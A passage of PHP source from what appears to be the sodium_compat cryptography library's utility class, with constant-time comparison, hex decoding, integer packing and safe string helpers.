given.'); } $mixedVar = (int) $mixedVar; break; case 'boolean': case 'bool': $allow = array('bool', 'boolean'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a boolean, ' . $realType . ' given.'); } $mixedVar = (bool) $mixedVar; break; case 'string': if (!is_string($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a string, ' . $realType . ' given.'); } $mixedVar = (string) $mixedVar; break; case 'decimal': case 'double': case 'float': $allow = array('decimal', 'double', 'float'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a float, ' . $realType . ' given.'); } $mixedVar = (float) $mixedVar; break; case 'object': if (!is_object($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an object, ' . $realType . ' given.'); } break; case 'array': if (!is_array($mixedVar)) { if (is_object($mixedVar)) { if ($mixedVar instanceof ArrayAccess) { return; } } throw new TypeError('Argument ' . $argumentIndex . ' must be an array, ' . $realType . ' given.'); } break; default: throw new SodiumException('Unknown type (' . $realType .') does not match expect type (' . $type . ')'); } } /** * Evaluate whether or not two strings are equal (in constant-time) * * @param string $left * @param string $right * @return bool * @throws SodiumException * @throws TypeError */ public static function hashEquals($left, $right) { /* Type checks: */ if (!is_string($left)) { throw new TypeError('Argument 1 must be a string, ' . gettype($left) . ' given.'); } if (!is_string($right)) { throw new TypeError('Argument 2 must be a string, ' . gettype($right) . ' given.'); } if (is_callable('hash_equals')) { return hash_equals($left, $right); } $d = 0; /** @var int $len */ $len = self::strlen($left); if ($len !== self::strlen($right)) { return false; } for ($i = 0; $i < $len; ++$i) { $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]); } if ($d !== 0) { return false; } return $left === $right; } /** * Catch hash_update() failures and throw instead of silently proceeding * * @param HashContext|resource &$hs * @param string $data * @return void * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument */ protected static function hash_update(&$hs, $data) { if (!hash_update($hs, $data)) { throw new SodiumException('hash_update() failed'); } } /** * Convert a hexadecimal string into a binary string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $hexString * @param bool $strictPadding * @return string (raw binary) * @throws RangeException * @throws TypeError */ public static function hex2bin($hexString, $strictPadding = false) { /* Type checks: */ if (!is_string($hexString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($hexString) . ' given.'); } /** @var int $hex_pos */ $hex_pos = 0; /** @var string $bin */ $bin = ''; /** @var int $c_acc */ $c_acc = 0; /** @var int $hex_len */ $hex_len = self::strlen($hexString); /** @var int $state */ $state = 0; if (($hex_len & 1) !== 0) { if ($strictPadding) { throw new RangeException( 'Expected an even number of hexadecimal characters' ); } else { $hexString = '0' . $hexString; ++$hex_len; } } $chunk = unpack('C*', $hexString); while ($hex_pos < $hex_len) { ++$hex_pos; /** @var int $c */ $c = $chunk[$hex_pos]; /** @var int $c_num */ $c_num = $c ^ 48; /** @var int $c_num0 */ $c_num0 = ($c_num - 10) >> 8; /** @var int $c_alpha */ $c_alpha = ($c & ~32) - 55; /** @var int $c_alpha0 */ $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8; if (($c_num0 | $c_alpha0) === 0) { throw new RangeException( 'hex2bin() only expects hexadecimal characters' ); } /** @var int $c_val */ $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0); if ($state === 0) { $c_acc = $c_val * 16; } else { $bin .= pack('C', $c_acc | $c_val); } $state ^= 1; } return $bin; } /** * Turn an array of integers into a string * * @internal You should not use this directly from another application * * @param array<int, int> $ints * @return string */ public static function intArrayToString(array $ints) { /** @var array<int, int> $args */ $args = $ints; foreach ($args as $i => $v) { $args[$i] = (int) ($v & 0xff); } array_unshift($args, str_repeat('C', count($ints))); return (string) (call_user_func_array('pack', $args)); } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function intToChr($int) { return pack('C', $int); } /** * Load a 3 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_3($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 3) { throw new RangeException( 'String must be 3 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array<int, int> $unpacked */ $unpacked = unpack('V', $string . "\0"); return (int) ($unpacked[1] & 0xffffff); } /** * Load a 4 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_4($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array<int, int> $unpacked */ $unpacked = unpack('V', $string); return (int) $unpacked[1]; } /** * Load a 8 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function load64_le($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) { /** @var array<int, int> $unpacked */ $unpacked = unpack('P', $string); return (int) $unpacked[1]; } /** @var int $result */ $result = (self::chrToInt($string[0]) & 0xff); $result |= (self::chrToInt($string[1]) & 0xff) << 8; $result |= (self::chrToInt($string[2]) & 0xff) << 16; $result |= (self::chrToInt($string[3]) & 0xff) << 24; $result |= (self::chrToInt($string[4]) & 0xff) << 32; $result |= (self::chrToInt($string[5]) & 0xff) << 40; $result |= (self::chrToInt($string[6]) & 0xff) << 48; $result |= (self::chrToInt($string[7]) & 0xff) << 56; return (int) $result; } /** * @internal You should not use this directly from another application * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError */ public static function memcmp($left, $right) { if (self::hashEquals($left, $right)) { return 0; } return -1; } /** * Multiply two integers in constant-time * * Micro-architecture timing side-channels caused by how your CPU * implements multiplication are best prevented by never using the * multiplication operators and ensuring that our code always takes * the same number of operations to complete, regardless of the values * of $a and $b. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $size Limits the number of operations (useful for small, * constant operands) * @return int */ public static function mul($a, $b, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return (int) ($a * $b); } static $defaultSize = null; /** @var int $defaultSize */ if (!$defaultSize) { /** @var int $defaultSize */ $defaultSize = (PHP_INT_SIZE << 3) - 1; } if ($size < 1) { /** @var int $size */ $size = $defaultSize; } /** @var int $size */ $c = 0; /** * Mask is either -1 or 0. * * -1 in binary looks like 0x1111 ... 1111 * 0 in binary looks like 0x0000 ... 0000 * * @var int */ $mask = -(($b >> ((int) $defaultSize)) & 1); /** * Ensure $b is a positive integer, without creating * a branching side-channel * * @var int $b */ $b = ($b & ~$mask) | ($mask & -$b); /** * Unless $size is provided: * * This loop always runs 32 times when PHP_INT_SIZE is 4. * This loop always runs 64 times when PHP_INT_SIZE is 8. */ for ($i = $size; $i >= 0; --$i) { $c += (int) ($a & -($b & 1)); $a <<= 1; $b >>= 1; } $c = (int) @($c & -1); /** * If $b was negative, we then apply the same value to $c here. * It doesn't matter much if $a was negative; the $c += above would * have produced a negative integer to begin with. But a negative $b * makes $b >>= 1 never return 0, so we would end up with incorrect * results. * * The end result is what we'd expect from integer multiplication. */ return (int) (($c & ~$mask) | ($mask & -$c)); } /** * Convert any arbitrary numbers into two 32-bit integers that represent * a 64-bit integer. * * @internal You should not use this directly from another application * * @param int|float $num * @return array<int, int> */ public static function numericTo64BitInteger($num) { $high = 0; /** @var int $low */ if (PHP_INT_SIZE === 4) { $low = (int) $num; } else { $low = $num & 0xffffffff; } if ((+(abs($num))) >= 1) { if ($num > 0) { /** @var int $high */ $high = min((+(floor($num/4294967296))), 4294967295); } else { /** @var int $high */ $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296)))); } } return array((int) $high, (int) $low); } /** * Store a 24-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_3($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return self::substr($packed, 1, 3); } /** * Store a 32-bit integer into a string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store32_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('V', $int); return $packed; } /** * Store a 32-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_4($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return $packed; } /** * Stores a 64-bit integer as an string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store64_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } if (PHP_INT_SIZE === 8) { if (PHP_VERSION_ID >= 50603) { /** @var string $packed */ $packed = pack('P', $int); return $packed; } return self::intToChr($int & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr(($int >> 32) & 0xff) . self::intToChr(($int >> 40) & 0xff) . self::intToChr(($int >> 48) & 0xff) . self::intToChr(($int >> 56) & 0xff); } if ($int > PHP_INT_MAX) { list($hiB, $int) = self::numericTo64BitInteger($int); } else { $hiB = 0; } return self::intToChr(($int ) & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr($hiB & 0xff) . self::intToChr(($hiB >> 8) & 0xff) . self::intToChr(($hiB >> 16) & 0xff) . self::intToChr(($hiB >> 24) & 0xff); } /** * Safe string length * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @return int * @throws TypeError */ public static function strlen($str) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } return (int) ( self::isMbStringOverride() ? mb_strlen($str, '8bit') : strlen($str) ); } /** * Turn a string into an array of integers * * @internal You should not use this directly from another application * * @param string $string * @return array<int, int> * @throws TypeError */ public static function stringToIntArray($string) { if (!is_string($string)) { throw new TypeError('String expected'); } /** * @var array<int, int> */ $values = array_values( unpack('C*', $string) ); return $values; } /** * Safe substring * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @param int $start * @param int $length * @return string * @throws TypeError */ public static function substr($str, $start = 0, $length = null) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } if ($length === 0) { return ''; } if (self::isMbStringOverride()) { if (PHP_VERSION_ID < 50400 && $length === null) { $length = self::strlen($str); } $sub = (string) mb_substr($str, $start, $length, '8bit'); } elseif ($length === null) { $sub = (string) substr($str, $start); } else { $sub = (string) substr($str, $start, $length); } if ($sub !== '') { return $sub; } return ''; } /** * Compare a 16-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_16($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 16), self::substr($b, 0, 16) ); } /** * Compare a 32-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_32($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 32), self::substr($b, 0, 32) ); } /** * Calculate $a ^ $b for two strings. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return string * @throws TypeError */ public static function xorStrings($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('Argument 1 must be a string'); } if (!is_string($b)) { throw new TypeError('Argument 2 must be a string'